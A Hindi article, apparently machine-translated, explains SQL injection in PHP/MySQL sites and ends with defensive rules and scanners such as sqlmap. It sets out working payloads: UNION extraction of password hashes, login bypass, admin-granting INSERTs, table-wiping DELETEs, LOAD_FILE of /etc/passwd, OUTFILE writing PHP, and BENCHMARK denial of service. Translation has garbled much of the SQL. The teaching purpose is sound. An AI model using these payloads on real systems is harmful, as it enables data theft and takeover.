एसक्यूएल इंजेक्षन। यह क्या है? MySQL संस्करण कैसे पता करें

लापरवाही और असावधानी ऐसे कोड लिखने के दो कारण हैं जो SQL इंजेक्शन के प्रति संवेदनशील हैं। तीसरा कारण - अज्ञानता, प्रोग्रामर को अपने ज्ञान को गहरा करने या यहां तक ​​कि अपना पेशा बदलने के लिए प्रोत्साहित करना चाहिए।

एसक्यूएल इंजेक्षन ( एसक्यूएल इंजेक्षन) - भेद्यता जो अपर्याप्त डेटा सत्यापन और प्रसंस्करण के कारण होता है, जो उपयोगकर्ता से प्रेषित होते हैं, और आपको SQL प्रोग्राम कोड द्वारा अप्रत्याशित प्रश्नों को संशोधित और निष्पादित करने की अनुमति देते हैं।

एसक्यूएल इंजेक्शन इंटरनेट पर एक व्यापक सुरक्षा दोष है जिसका विशेष कार्यक्रमों के बिना आसानी से फायदा उठाया जा सकता है और इसके लिए व्यापक तकनीकी ज्ञान की आवश्यकता नहीं होती है। इस भेद्यता का फायदा उठाने से महान अवसरों के द्वार खुलते हैं जैसे:

  • डेटा चोरी - 80%;
  • सेवा से इनकार - 10 प्रतिशत;
  • डेटा का प्रतिस्थापन या विनाश - 2-3%;
  • अन्य मामले और इरादे।

सभी प्रकार के जेएस और एसक्यूएल इंजेक्शन के लिए वेबसाइट सुरक्षा का परीक्षण करने के लिए विभिन्न कार्यक्रम भी हैं।

विस्तृत विवरण

इस लेख में मैं MySQL डेटाबेस के साथ इंटरैक्ट करते समय उत्पन्न होने वाले मुख्य जोखिमों को समझाने का प्रयास करूंगा। स्पष्टता के लिए, मैं एक सरल डेटाबेस संरचना का उदाहरण दूंगा, जो अधिकांश परियोजनाओं के लिए विशिष्ट है:

डेटाबेस `समाचार` बनाएं; 'समाचार' का प्रयोग करें; # # समाचार तालिका # तालिका बनाएं `समाचार` (`आईडी` पूर्णांक(11) शून्य नहीं ऑटो_वृद्धि, `शीर्षक` वर्चर(50) डिफ़ॉल्ट शून्य, `दिनांक` डेटाटाइम डिफ़ॉल्ट शून्य, `पाठ` पाठ, प्राथमिक कुंजी (`आईडी` )) प्रकार=MyISAM; # # कुछ डेटा जोड़ें # `समाचार' डालें सेट `आईडी'='1', `शीर्षक'='पहला समाचार', `दिनांक'='2005-06-25 16:50:20', `पाठ`='' समाचार पाठ"; सम्मिलित करें `समाचार` सेट `आईडी```2'', `शीर्षक```दूसरा समाचार'', `दिनांक````2005-06-24 12:12:33'', `पाठ```परीक्षण समाचार''; # # उपयोगकर्ता तालिका # तालिका बनाएं `उपयोगकर्ता` (`आईडी` int(11) शून्य नहीं ऑटो_वृद्धि, `लॉगिन` वर्कर(50) डिफ़ॉल्ट शून्य, `पासवर्ड` वर्कर(50) डिफ़ॉल्ट शून्य, `एडमिन` पूर्णांक(1) शून्य डिफ़ॉल्ट "0", प्राथमिक कुंजी (`id`)) प्रकार=MyISAM; # # कई उपयोगकर्ता जोड़ें, एक व्यवस्थापक अधिकारों के साथ, दूसरा सरल # INSERT `users` SET `id`='1', `login'='admin', `password'='qwerty', `admin`='1 " ; सम्मिलित करें `उपयोगकर्ता` सेट `आईडी``=2'', `लॉगिन``=उपयोगकर्ता'', `पासवर्ड`='1111'', `एडमिन`='0'';

हम देखते हैं कि अनुरोध $_GET["id"] के मूल्य के आधार पर उत्पन्न होता है। किसी भेद्यता की उपस्थिति की जाँच करने के लिए, इसे उस मान में बदलना पर्याप्त है जो SQL क्वेरी को निष्पादित करने में त्रुटि पैदा कर सकता है।

बेशक, कोई त्रुटि आउटपुट नहीं हो सकता है, लेकिन इसका मतलब यह नहीं है कि परिणामस्वरूप, कोई त्रुटि नहीं है

“आपके SQL सिंटैक्स में कोई त्रुटि है; लाइन 1 पर """ के पास उपयोग करने के लिए सही सिंटैक्स के लिए अपने MySQL सर्वर संस्करण से संबंधित मैनुअल की जांच करें।

या परिणाम

http://test.com/index.php?id=2-1

यदि कोई भेद्यता है, तो उसे इसके समान परिणाम देना चाहिए

http://test.com/index.php?id=1.

समान कमजोरियाँ आपको अनुरोध को संशोधित करने की अनुमति देता है WHERE पैरामीटर भाग में। ऐसी भेद्यता का पता चलने पर एक हमलावर सबसे पहले यह जांच करेगा कि अनुरोध में कितने फ़ील्ड का उपयोग किया गया है। ऐसा करने के लिए, वास्तविक जानकारी के आउटपुट को बाहर करने के लिए जानबूझकर गलत आईडी सेट की जाती है और उसे समान संख्या में खाली फ़ील्ड वाले अनुरोध के साथ जोड़ दिया जाता है।

http://test.com/index.php?id=-1+UNION+SELECT+null,null,null,null

"शून्य" की संख्या अनुरोध में उपयोग किए गए फ़ील्ड की संख्या के अनुरूप होनी चाहिए।

यदि क्वेरी कोई त्रुटि उत्पन्न करती है, तो त्रुटि गायब होने तक एक और खाली मान जोड़ा जाता है और खाली डेटा वाला परिणाम वापस आ जाता है। इसके बाद, संयुक्त फ़ील्ड को उन मानों से बदल दिया जाता है जिन्हें पृष्ठ पर दृश्यमान रूप से देखा जा सकता है।

उदाहरण के लिए:

http://test.com/index.php?id=-1+UNION+SELECT+null

अब उस पृष्ठ पर जहां समाचार का शीर्षक दिखाया जाना था, क्वर्टी दिखाई देगा।

MySQL संस्करण कैसे पता करें?

http://test.com/index.php?id=-1+UNION+SELECT+null,VERSION(),null,null http://test.com/index.php?id=-1+UNION+SELECT +शून्य,उपयोगकर्ता(),शून्य,शून्य http://test.com/index.php?id=-1+UNION+SELECT+null,SESSION_USER(),शून्य,शून्य

वर्तमान डेटाबेस उपयोगकर्ता का लॉगिन कैसे पुनः प्राप्त करें?

http://test.com/index.php?id=-1+UNION+SELECT+null,SYSTEM_USER(),null,null

उपयोग किये जा रहे डेटाबेस का नाम क्या है?

http://test.com/index.php?id=-1+UNION+SELECT+null,DATABASE(),null,null

अन्य तालिकाओं से अन्य डेटा कैसे प्राप्त करें?

चयन करें * `समाचार` से जहां `id`=-1 यूनियन `उपयोगकर्ताओं` से शून्य, `पासवर्ड`, शून्य, शून्य का चयन करें जहां `id`=-1";

यह एडमिनिस्ट्रेटर का पासवर्ड या पासवर्ड हैश पता करने का एक आसान तरीका है। यदि वर्तमान उपयोगकर्ता के पास "mysql" डेटाबेस तक पहुंच अधिकार है, तो हमलावर को थोड़ी सी भी समस्या के बिना व्यवस्थापक का पासवर्ड हैश प्राप्त होगा।

Http://test.com/index.php?id=-1+union+select+null,mysql.user.password,null,null+from+mysql.user

अब उनका चयन बस समय की बात है.

खोज

खोज सबसे कमजोर स्थानों में से एक है, क्योंकि बड़ी संख्या में क्वेरी पैरामीटर एक साथ प्रसारित होते हैं। कीवर्ड द्वारा खोजी जाने वाली एक सरल क्वेरी का उदाहरण:

* `समाचार` से चुनें जहां `शीर्षक` जैसे "%$search%" या `text` जैसे "%$search%" हो

$search वह शब्द है जो फ़ॉर्म से भेजा जाता है। एक हमलावर वेरिएबल में $search='# पास कर सकता है, अब अनुरोध इस तरह दिखेगा:

`समाचार` से * चुनें जहां `शीर्षक` जैसे "%"#%" या `पाठ` जैसे "%"#%";

तदनुसार, कीवर्ड के लिए खोज परिणामों के बजाय, सभी डेटा प्रदर्शित किया जाएगा। यह आपको ऊपर वर्णित क्वेरी एकत्रीकरण सुविधा का उपयोग करने की भी अनुमति देता है।

ऑर्डर पैरामीटर का उपयोग करना

आप अक्सर देख सकते हैं कि खोज पैरामीटर दर्ज करते समय, या जानकारी प्रदर्शित करते समय, वे उपयोगकर्ता को कुछ फ़ील्ड के अनुसार डेटा सॉर्ट करने की अनुमति देते हैं। मैं तुरंत कहूंगा कि इस भेद्यता का उपयोग करना बहुत खतरनाक नहीं है, क्योंकि यह अनुरोधों को संयोजित करने का प्रयास करते समय एक त्रुटि उत्पन्न करेगा, लेकिन अन्य क्षेत्रों में कमजोरियों के साथ संयोजन में, इस पैरामीटर पर टिप्पणी करने का खतरा है।

http://test.com/index.php?sort=name

ORDER पैरामीटर $sort वेरिएबल के आधार पर बनता है

निम्नलिखित अनुरोध उत्पन्न किया जाएगा:

* `समाचार` से चुनें जहां `शीर्षक` जैसे "%"/*%" या `टेक्स्ट` जैसे "%"/*%" ऑर्डर करें */

इस प्रकार शर्तों और ऑर्डर पैरामीटर में से एक पर टिप्पणी की गई

अब आप $sort=*/ UNION SELECT... निर्दिष्ट करके क्वेरी को फिर से संयोजित कर सकते हैं।

इस पैरामीटर की भेद्यता का फायदा उठाने के विकल्प के रूप में:

चुनें * `उपयोगकर्ताओं' से लंबाई के अनुसार ऑर्डर करें (पासवर्ड);

यह आपको पासवर्ड की लंबाई के आधार पर उपयोगकर्ताओं को क्रमबद्ध करने की अनुमति देगा, बशर्ते कि यह "शुद्ध" रूप में सहेजा गया हो।

प्राधिकार

आइए अब उपयोगकर्ता प्राधिकरण के दौरान होने वाले SQL इंजेक्शन के विकल्पों पर विचार करने का प्रयास करें। आमतौर पर, प्राधिकरण डेटा की शुद्धता की जांच करने वाला अनुरोध इस तरह दिखता है:

चुनें * `उपयोगकर्ताओं` से जहां `लॉगिन```$लॉगिन'' और `पासवर्ड```$पासवर्ड'';

जहां $लॉगिन और $पासवर्ड वेरिएबल हैं जो फॉर्म से पास किए जाते हैं। ऐसी क्वेरी सफल होने पर उपयोगकर्ता के लिए डेटा लौटाती है, और असफल होने पर एक खाली परिणाम देती है। तदनुसार, प्राधिकरण पारित करने के लिए, एक हमलावर को केवल अनुरोध को संशोधित करने की आवश्यकता होती है ताकि वह एक गैर-शून्य परिणाम लौटा सके। एक लॉगिन निर्दिष्ट किया जाता है जो वास्तविक उपयोगकर्ता से मेल खाता है, और पासवर्ड के बजाय, " या "1"='1' या कुछ वास्तविक स्थिति (1, "a"='a', 1<>2, 3>2, 1+1, पूर्ण(शून्य), 2 इंच (0,1,2), 1 और 3 के बीच 2)। तदनुसार, अनुरोध निम्नानुसार उत्पन्न किया जाएगा:

चुनें * `उपयोगकर्ताओं` से जहां `लॉगिन``='एडमिन'' और `पासवर्ड'=''' या '1'='1';

जो परिणाम लौटाएगा, और परिणामस्वरूप, अनधिकृत प्राधिकरण को जन्म देगा। यदि तालिका में पासवर्ड हैश किए गए हों तो क्या होगा? फिर `लॉगिन` के बाद आने वाली हर चीज़ पर टिप्पणी करके पासवर्ड जांच को केवल "अक्षम" कर दिया जाता है। फॉर्म में, लॉगिन के बजाय, वास्तविक उपयोगकर्ता का लॉगिन असाइन किया जाता है और "# जिससे पासवर्ड चेक पर टिप्पणी की जाती है।

`उपयोगकर्ताओं` से * चुनें जहां `लॉगिन``='एडमिन'#' और `पासवर्ड'='12345'

एक विकल्प के रूप में "या `id`=2#

* `उपयोगकर्ताओं` से चुनें जहां `लॉगिन`````` या `आईडी`=2#' और `पासवर्ड`='12345'

* `उपयोगकर्ताओं` से चुनें जहां `लॉगिन` ````` या `एडमिन` ``1'#' और `पासवर्ड` ``12345''

पासवर्ड को इस तरह चेक करना है बड़ी गलती:

`उपयोगकर्ताओं` से चुनें * जहां `लॉगिन````$लॉगिन'' और `पासवर्ड` जैसे ''$पासवर्ड''

चूँकि इस मामले में पासवर्ड % किसी भी लॉगिन के लिए उपयुक्त है

सम्मिलित करें और अद्यतन करें

हालाँकि, यह केवल SELECTs ही नहीं है जो SQL में एक कमजोर बिंदु है। INSERT और UPDATE भी कम असुरक्षित नहीं हो सकते। मान लीजिए कि साइट में उपयोगकर्ताओं को पंजीकृत करने की क्षमता है। वह क्वेरी जो एक नया उपयोगकर्ता जोड़ती है:

किसी एक फ़ील्ड में भेद्यता अनुरोध को आवश्यक डेटा के साथ संशोधित करने की अनुमति देती है। लॉगिन फ़ील्ड में हम उपयोगकर्ता", "पासवर्ड", 1)# जोड़ते हैं जिससे व्यवस्थापक अधिकारों वाला एक उपयोगकर्ता जुड़ जाता है।

प्रविष्ट करें `उपयोगकर्ता` सेट `लॉगिन`='उपयोगकर्ता', `पासवर्ड'='पासवर्ड', `एडमिन`='0';

आइए मान लें कि `एडमिन` फ़ील्ड `लॉगिन` फ़ील्ड से पहले स्थित है, इसलिए `लॉगिन` फ़ील्ड के बाद आने वाले डेटा को बदलने की तरकीब काम नहीं करती है। आइए याद रखें कि INSERT कमांड का सिंटैक्स आपको न केवल एक पंक्ति, बल्कि कई पंक्तियाँ जोड़ने की अनुमति देता है। लॉगिन फ़ील्ड में भेद्यता का एक उदाहरण: $लॉगिन= उपयोगकर्ता", "पासवर्ड"), (1, "हैकर", "पासवर्ड")#

`उपयोगकर्ता` सेट में सम्मिलित करें (`व्यवस्थापक`, `लॉगिन`, `पासवर्ड`) मान (0, "उपयोगकर्ता", "पासवर्ड"), (1, "हैकर", "पासवर्ड")#", "पासवर्ड") ;

इस प्रकार, 2 प्रविष्टियाँ बनाई जाती हैं, एक साधारण उपयोगकर्ता के अधिकारों के साथ, दूसरी वांछित व्यवस्थापक अधिकारों के साथ।

अद्यतन के साथ भी ऐसी ही स्थिति

बदलने के लिए अतिरिक्त फ़ील्ड जोड़ना:

$लॉगिन=', `पासवर्ड`='', `एडमिन`='1

फिर वैसा ही अनुरोध

अद्यतन `उपयोगकर्ता` सेट `लॉगिन` ``चायदानी`` जहां `आईडी` = 2;

निम्नानुसार संशोधित:

अपडेट करें `उपयोगकर्ता` सेट `लॉगिन` ````, `पासवर्ड` `````, `एडमिन` `` 1'' जहां `आईडी` = 2;

क्या हो जाएगा? आईडी 2 वाला उपयोगकर्ता लॉगिन और पासवर्ड को खाली मानों में बदल देगा और व्यवस्थापक अधिकार प्राप्त करेगा। या मामले में

$लॉगिन='', `पासवर्ड`='' जहां `आईडी` =1#

एडमिन लॉगिन और पासवर्ड खाली होगा.

मिटाना

यहां सब कुछ सरल है, आप कोई भी डेटा प्राप्त या बदल नहीं पाएंगे, लेकिन अनावश्यक डेटा को हटाने के लिए आपका हमेशा स्वागत है।

$आईडी=1 या 1=1

`समाचार' से हटाएँ जहाँ `id`='1' या 1=1; // तालिका में सभी प्रविष्टियाँ साफ़ करता है।

1=1 के स्थान पर ऊपर उल्लिखित कोई भी वास्तविक स्थिति हो सकती है। LIMIT पैरामीटर को सहेजा जा सकता है, जो हटाई गई पंक्तियों की संख्या को सीमित करेगा, लेकिन हमेशा नहीं, इस पर बस टिप्पणी की जा सकती है।

`समाचार' से हटाएं जहां `id`='1' या 1=1# सीमा 1;

SQL इंजेक्शन के माध्यम से फ़ाइलों के साथ कार्य करना

मुझे गंभीरता से संदेह है कि ऐसा कहीं भी हो सकता है, लेकिन निष्पक्ष होने के लिए, ऐसे तरीकों का भी वर्णन किया जाना चाहिए। जब फ़ाइल विशेषाधिकार सक्षम होते हैं, तो आप LOAD_FILE और OUTFILE कमांड का उपयोग कर सकते हैं।

उनके खतरे का अंदाजा नीचे दिए गए प्रश्नों से लगाया जा सकता है:

चुनें * `समाचार` से जहां `id`=-1 यूनियन चुनें null,LOAD_FILE("/etc/passwd"),null,null; चयन करें * `समाचार` से जहां `id`=-1 यूनियन चयन शून्य, लोड_फ़ाइल("/home/test/www/dbconf.php"),null,null;

लेकिन सारी परेशानियां अभी यहीं खत्म नहीं होतीं.

चुनें * `समाचार` से जहां `id`=-1 यूनियन चयन करें null,"",null,null `news` से outfile "/home/test/www/test.php";

इस प्रकार हम एक फ़ाइल लिखते हैं जिसमें PHP कोड होता है। सच है, कोड के अलावा, इसमें कई और शून्य प्रविष्टियाँ होंगी, लेकिन यह किसी भी तरह से PHP कोड के प्रदर्शन को प्रभावित नहीं करेगा। हालाँकि, ऐसी कई स्थितियाँ हैं जिनके कारण ये विधियाँ काम करेंगी:

  • वर्तमान डेटाबेस उपयोगकर्ता के लिए फ़ाइल विशेषाधिकार सक्षम है;
  • इन फ़ाइलों को पढ़ने या लिखने का अधिकार उस उपयोगकर्ता के लिए है जिसके तहत MySQL सर्वर चल रहा है; फ़ाइल का पूर्ण पथ;
  • एक कम महत्वपूर्ण शर्त यह है कि फ़ाइल का आकार max_allowed_packet से कम होना चाहिए, लेकिन चूंकि MySQL 3.23 में सबसे बड़ा पैकेज आकार 16 एमबी हो सकता है, और 4.0.1 और अधिक में, पैकेज का आकार केवल उपलब्ध मेमोरी की मात्रा से सीमित है, सैद्धांतिक अधिकतम 2 जीबी तक यह स्थिति आमतौर पर हमेशा उपलब्ध रहती है।

जादुई उद्धरण

जादुई उद्धरण स्ट्रिंग वेरिएबल्स में SQL इंजेक्शन का उपयोग करना असंभव बनाते हैं, क्योंकि वे स्वचालित रूप से $_GET और $_POST के साथ आने वाले सभी " और " से बच जाते हैं। लेकिन यह पूर्णांक या भिन्नात्मक मापदंडों में कमजोरियों के उपयोग पर लागू नहीं होता है, हालांकि इस अपवाद के साथ कि इसका उपयोग करना संभव नहीं होगा। इस मामले में, चार फ़ंक्शन मदद करता है।

चुनें * `समाचार` से जहां `id`=-1 यूनियन शून्य, चार(116, 101, 115, 116), शून्य, शून्य चुनें;

SQL इंजेक्शन के माध्यम से DOS.

मैं यह कहना लगभग भूल गया, और SQL विशेषज्ञ इसकी पुष्टि करेंगे, कि UNION ऑपरेशन केवल MySQL >=4.0.0 में ही संभव है। जिन लोगों के पास पिछले संस्करणों पर परियोजनाएं हैं, उन्होंने राहत की सांस ली :) लेकिन सब कुछ उतना सुरक्षित नहीं है जितना पहली नज़र में दिखता है। हमलावर के तर्क का पालन करना कभी-कभी कठिन होता है। उदाहरण अनुरोध के लिए बेंचमार्क फ़ंक्शन टाइप करते समय हैकर सोचेगा, "अगर मैं हैक नहीं कर सकता, तो कम से कम मैं असफल हो जाऊंगा।"

चुनें * `समाचार` से जहां `id`=BENCHMARK(1000000,MD5(NOW()));

इसमें मुझे 12 से 15 सेकंड का समय लगा। शून्य जोड़ने पर - 174 सेकंड। मैं और अधिक करने के लिए अपना हाथ नहीं बढ़ा सका। बेशक, शक्तिशाली सर्वर पर ऐसी चीजें बहुत तेजी से की जाएंगी, लेकिन...बेंचमार्क आपको एक-एक करके खुद को निवेश करने की अनुमति देता है। इस कदर:

'समाचार' से चुनें * जहां `id`=BENCHMARK(1000000,BENCHMARK(1000000,MD5(NOW())));

या ऐसे भी

चुनें * `समाचार` से जहां `आईडी`=बेंचमार्क(1000000,बेंचमार्क(1000000,बेंचमार्क(1000000,एमडी5(अब()))));

और शून्यों की संख्या केवल उन्हें टाइप करने वाले की "दया" से सीमित होती है।

मुझे लगता है कि एक बहुत शक्तिशाली मशीन भी ऐसे अनुरोधों को आसानी से निगलने में सक्षम नहीं होगी।

जमीनी स्तर

बस इतना ही। इस लेख में, मैंने जितना संभव हो सके उन प्रकार की कमजोरियों को कवर करने का प्रयास किया है जो प्रोग्रामर MySQL डेटाबेस का उपयोग करके प्रोग्राम बनाते समय करते हैं। हालाँकि, मुझे पूरा यकीन है कि यह पूरी सूची नहीं है।

SQL इंजेक्शन के विरुद्ध नियमों को याद रखना महत्वपूर्ण है

  • उपयोगकर्ता से आने वाले किसी भी डेटा पर भरोसा न करें। हम केवल उस डेटा के बारे में बात नहीं कर रहे हैं जो $_GET और $_POST सरणियों में स्थानांतरित किया जाता है। $_COOKIE और HTTP हेडर के अन्य भागों के बारे में न भूलें। आपको याद रखना चाहिए कि इन्हें बदलना आसान है।
  • आपको PHP "मैजिक कोट्स" विकल्प पर भरोसा नहीं करना चाहिए, जो संभवतः मदद करने से ज्यादा बाधा डालता है। डेटाबेस में स्थानांतरित किए गए सभी डेटा को डेटाबेस फ़ील्ड के प्रकार के अनुसार संक्षेपित किया जाना चाहिए। ($id=(int)$_GET["id"]) या mysql_real_escape_string या mysql_real_escape_string फ़ंक्शंस द्वारा संरक्षित।
  • mysql_real_escape_string % और _ से बच नहीं पाता है, इसलिए इसका उपयोग LIKE के साथ संयोजन में नहीं किया जाना चाहिए।
  • आपको सही ढंग से लिखे गए mod_rewrite पर बहुत अधिक भरोसा नहीं करना चाहिए। ये केवल "सुविधाजनक" URL बनाने के तरीके हैं, लेकिन निश्चित रूप से SQL इंजेक्शन से सुरक्षा का कोई तरीका नहीं हैं।
  • त्रुटि रिपोर्टिंग अक्षम करें.
  • बुरे आगंतुकों की मदद न करें. यदि त्रुटि की पहचान हो भी जाती है, तो भी इसके बारे में जानकारी का अभाव इसके अनुप्रयोग में गंभीर बाधा उत्पन्न करेगा। विकास चरण और कामकाजी मसौदे के बीच अंतर याद रखें। त्रुटि आउटपुटऔर अन्य विस्तृत जानकारी - विकास चरण में आपका सहयोगी, और हमलावर का सहयोगीकार्यशील संस्करण में. आपको HTML कोड में टिप्पणी करके उन्हें छिपाना भी नहीं चाहिए; प्रत्येक 1000 आगंतुकों के लिए 1 ऐसा होगा जो अभी भी ऐसी चीजें ढूंढेगा।
  • त्रुटियों को संभालें.
  • SQL क्वेरीज़ को इस तरह से संसाधित करना लिखें कि उनके बारे में जानकारी कुछ लॉग में संग्रहीत हो या मेल द्वारा भेजी जाए।
  • डेटाबेस एक्सेस डेटा को उन फ़ाइलों में संग्रहीत न करें जिन्हें PHP द्वारा कोड के रूप में संसाधित नहीं किया गया है।
  • मुझे नहीं लगता कि मैंने अमेरिका की खोज किसी से की है, लेकिन अपने अनुभव से मैं कह सकता हूं कि यह प्रथा काफी आम है। आमतौर पर यह *.inc एक्सटेंशन वाली फ़ाइल होती है
  • डेटाबेस "सुपर यूजर" न बनाएं।
  • केवल विशिष्ट कार्य करने के लिए आवश्यक अधिकार प्रदान करें।
  • खोज में, न्यूनतम और अधिकतम वर्णों को सीमित करना उचित है, जो क्वेरी पैरामीटर हैं।
  • एक ईमानदार उपयोगकर्ता के लिए, 3 से 60-70 अक्षर उनकी खोज रुचियों को संतुष्ट करने के लिए पर्याप्त हैं, और साथ ही आप उन स्थितियों को रोकते हैं जब खोज क्वेरी "युद्ध और शांति" की मात्रा होगी।
  • किसी क्वेरी के बाद लौटाए गए रिकॉर्ड की संख्या हमेशा जांचें

लगभग 90% साइटें PHP में लिखी गई हैंऐसी तार्किक त्रुटि है, यह विशेष रूप से तब देखी जा सकती है जब उपयोगकर्ता से प्राप्त आईडी के आधार पर अनुरोध किया जाता है। यदि आप मैन्युअल रूप से स्क्रिप्ट को एक गैर-मौजूद आईडी देते हैं, तो हम कुछ स्क्रिप्ट के काम से काफी दिलचस्प परिणाम देखेंगे , 404 लौटाने के बजाय, प्रोग्राम अधिक से अधिक कुछ नहीं करेगा और एक रिक्त पृष्ठ पर प्रदर्शित होगा।

आपके लिए सुरक्षित SQL.

इंटरनेट पर साइटों और पेजों की संख्या लगातार बढ़ रही है। हर कोई, जो विकास कर सकता है, विकास कर रहा है। और नौसिखिया वेब प्रोग्रामर अक्सर असुरक्षित और पुराने कोड का उपयोग करते हैं। और यह हमलावरों और हैकरों के लिए बहुत सारी खामियां पैदा करता है। जिसका वे उपयोग करते हैं। सबसे क्लासिक कमजोरियों में से एक SQL इंजेक्शन है।

थोड़ा सिद्धांत

बहुत से लोग जानते हैं कि इंटरनेट पर अधिकांश साइटें और सेवाएँ उन्हें संग्रहीत करने के लिए SQL डेटाबेस का उपयोग करती हैं। यह एक संरचित क्वेरी भाषा है जो आपको डेटा वेयरहाउस को प्रबंधित और प्रशासित करने की अनुमति देती है। डेटाबेस प्रबंधन प्रणालियों के कई अलग-अलग संस्करण हैं - Oracle, MySQL, Postgre। नाम और प्रकार के बावजूद, वे डेटा क्वेरी का उपयोग उसी तरह करते हैं। यहीं पर संभावित भेद्यता निहित है। यदि डेवलपर अनुरोध को सही ढंग से और सुरक्षित रूप से संसाधित करने में असमर्थ था, तो एक हमलावर इसका फायदा उठा सकता है और डेटाबेस तक पहुंच प्राप्त करने के लिए विशेष रणनीति का उपयोग कर सकता है, और वहां से पूरी साइट को नियंत्रित कर सकता है।

ऐसी स्थितियों से बचने के लिए, आपको कोड को ठीक से अनुकूलित करने और सावधानीपूर्वक निगरानी करने की आवश्यकता है कि कौन सा अनुरोध किस तरह से संसाधित किया जाता है।

SQL इंजेक्शन के लिए जाँच हो रही है

नेटवर्क में कमजोरियों की उपस्थिति निर्धारित करने के लिए, बहुत सारे तैयार स्वचालित सॉफ़्टवेयर सिस्टम हैं। लेकिन आप मैन्युअल रूप से एक साधारण जांच कर सकते हैं। ऐसा करने के लिए, आपको उन साइटों में से एक पर जाना होगा जिन पर आप शोध कर रहे हैं और एड्रेस बार में डेटाबेस त्रुटि को ट्रिगर करने का प्रयास करें। उदाहरण के लिए, किसी वेबसाइट पर कोई स्क्रिप्ट अनुरोधों को संसाधित नहीं कर सकती है और उन्हें काट नहीं सकती है।

उदाहरण के लिए, एक Sure_site/index.php?id=25 है

सबसे आसान तरीका है कि 25 के बाद एक कोटेशन डालें और एक अनुरोध भेजें। यदि कोई त्रुटि नहीं होती है, तो या तो सभी अनुरोधों को साइट पर फ़िल्टर किया जाता है और सही ढंग से संसाधित किया जाता है, या उनका आउटपुट सेटिंग्स में अक्षम कर दिया जाता है। यदि पृष्ठ समस्याओं के साथ पुनः लोड होता है, तो इसका मतलब है कि SQL इंजेक्शन के लिए भेद्यता है।

एक बार इसका पता चलने पर आप इससे छुटकारा पाने का प्रयास कर सकते हैं।

इस भेद्यता को लागू करने के लिए आपको उनमें से एक यूनियन के बारे में थोड़ा जानना होगा। यह एकाधिक क्वेरी परिणामों को एक में जोड़ता है। इस तरह आप तालिका में फ़ील्ड की संख्या की गणना कर सकते हैं। पहले अनुरोध का एक उदाहरण इस तरह दिखता है:

  • some_site/index.php?id=25 यूनियन चयन 1.

अधिकांश मामलों में, ऐसी प्रविष्टि से त्रुटि उत्पन्न होनी चाहिए। इसका मतलब है कि फ़ील्ड की संख्या 1 के बराबर नहीं है। इस प्रकार, 1 और अधिक से विकल्पों का चयन करके, आप उनकी सटीक संख्या निर्धारित कर सकते हैं:

  • some_site/index.php?id=25 यूनियन चयन 1,2,3,4,5,6।

यानी, जब त्रुटि दिखना बंद हो जाए तो इसका मतलब है कि फ़ील्ड की संख्या सही है।

इस समस्या का वैकल्पिक समाधान भी है. उदाहरण के लिए, जब फ़ील्ड की संख्या बड़ी हो - 30, 60 या 100। यह ग्रुप बाय कमांड है। यह क्वेरी परिणामों को कुछ विशेषताओं के आधार पर समूहित करता है, उदाहरण के लिए आईडी:

  • some_site/index.php?id=25 ग्रुप बाय 5।

यदि कोई त्रुटि प्राप्त नहीं हुई, तो इसका मतलब है कि 5 से अधिक फ़ील्ड हैं। इस प्रकार, काफी विस्तृत श्रृंखला से विकल्पों को प्रतिस्थापित करके, आप गणना कर सकते हैं कि वास्तव में कितने हैं।

यह SQL इंजेक्शन उदाहरण उन शुरुआती लोगों के लिए है जो अपनी वेबसाइट का परीक्षण करने में अपना हाथ आज़माना चाहते हैं। यह याद रखना महत्वपूर्ण है कि किसी और की संपत्ति पर अनधिकृत पहुंच के लिए आपराधिक संहिता का एक लेख है।

इंजेक्शन के मुख्य प्रकार

SQL इंजेक्शन के माध्यम से कमजोरियों को लागू करने के लिए कई विकल्प हैं। निम्नलिखित सबसे लोकप्रिय तरीके हैं:

    यूनियन इंजेक्शन. इस प्रकार का एक सरल उदाहरण पहले ही ऊपर चर्चा किया जा चुका है। इसे आने वाले डेटा की जांच में त्रुटि के कारण लागू किया गया है, जिसे किसी भी तरह से फ़िल्टर नहीं किया गया है।

    त्रुटि-आधारित SQL इंजेक्शन। जैसा कि नाम से पता चलता है, यह प्रकार वाक्यविन्यास की दृष्टि से ग़लत अभिव्यक्ति भेजकर त्रुटियों का भी फायदा उठाता है। फिर प्रतिक्रिया हेडर को इंटरसेप्ट किया जाता है, जिसका विश्लेषण करके बाद में SQL इंजेक्शन करने के लिए उपयोग किया जा सकता है।

    स्टैक्ड इंजेक्शन. यह भेद्यता अनुक्रमिक अनुरोधों के निष्पादन द्वारा निर्धारित की जाती है। इसे अंत में ";" जोड़कर दर्शाया जाता है। यह दृष्टिकोण अक्सर डेटा पढ़ने और लिखने के कार्यान्वयन तक पहुंचने के लिए, या यदि विशेषाधिकार इसकी अनुमति देते हैं तो ऑपरेटिंग सिस्टम कार्यों को नियंत्रित करने के लिए लागू किया जाता है।

SQL कमजोरियों की खोज के लिए सॉफ्टवेयर सिस्टम

SQL इंजेक्शन करने के लिए उपलब्ध, प्रोग्राम में आमतौर पर दो घटक होते हैं - संभावित कमजोरियों के लिए किसी साइट को स्कैन करना और डेटा तक पहुंच प्राप्त करने के लिए उनका उपयोग करना। लगभग सभी ज्ञात प्लेटफार्मों के लिए ऐसी उपयोगिताएँ मौजूद हैं। उनकी कार्यक्षमता SQL इंजेक्शन के साथ हैकिंग की संभावना के लिए किसी साइट की जाँच करने में बहुत सुविधा प्रदान करती है।

एसक्यूएलमैप

एक बहुत शक्तिशाली स्कैनर जो अधिकांश प्रसिद्ध डीबीएमएस के साथ काम करता है। विभिन्न SQL इंजेक्शन तकनीकों का समर्थन करता है। इसमें पासवर्ड हैश के प्रकार को स्वचालित रूप से पहचानने और शब्दकोश का उपयोग करके इसे क्रैक करने की क्षमता है। सर्वर से फ़ाइलें डाउनलोड करने और अपलोड करने की कार्यक्षमता भी है।

Linux परिवेश में इंस्टालेशन निम्न आदेशों का उपयोग करके किया जाता है:

  • गिट क्लोन https://github.com/sqlmapproject/sqlmap.git sqlmap-dev,
  • cdsqlmap-dev/,
  • ./sqlmap.py--विज़ार्ड।

विंडोज़ के लिए कमांड लाइन और ग्राफिकल यूजर इंटरफेस दोनों विकल्प हैं।

जेएसक्यूएल इंजेक्शन

jSQL इंजेक्शन SQL कमजोरियों के शोषण के परीक्षण के लिए एक क्रॉस-प्लेटफ़ॉर्म टूल है। जावा में लिखा गया है, इसलिए JRE को सिस्टम पर स्थापित किया जाना चाहिए। हेडर और कुकी अनुरोधों को संसाधित करने में सक्षम। एक सुविधाजनक ग्राफिकल इंटरफ़ेस है।

इस सॉफ़्टवेयर पैकेज की स्थापना निम्नानुसार आगे बढ़ती है:

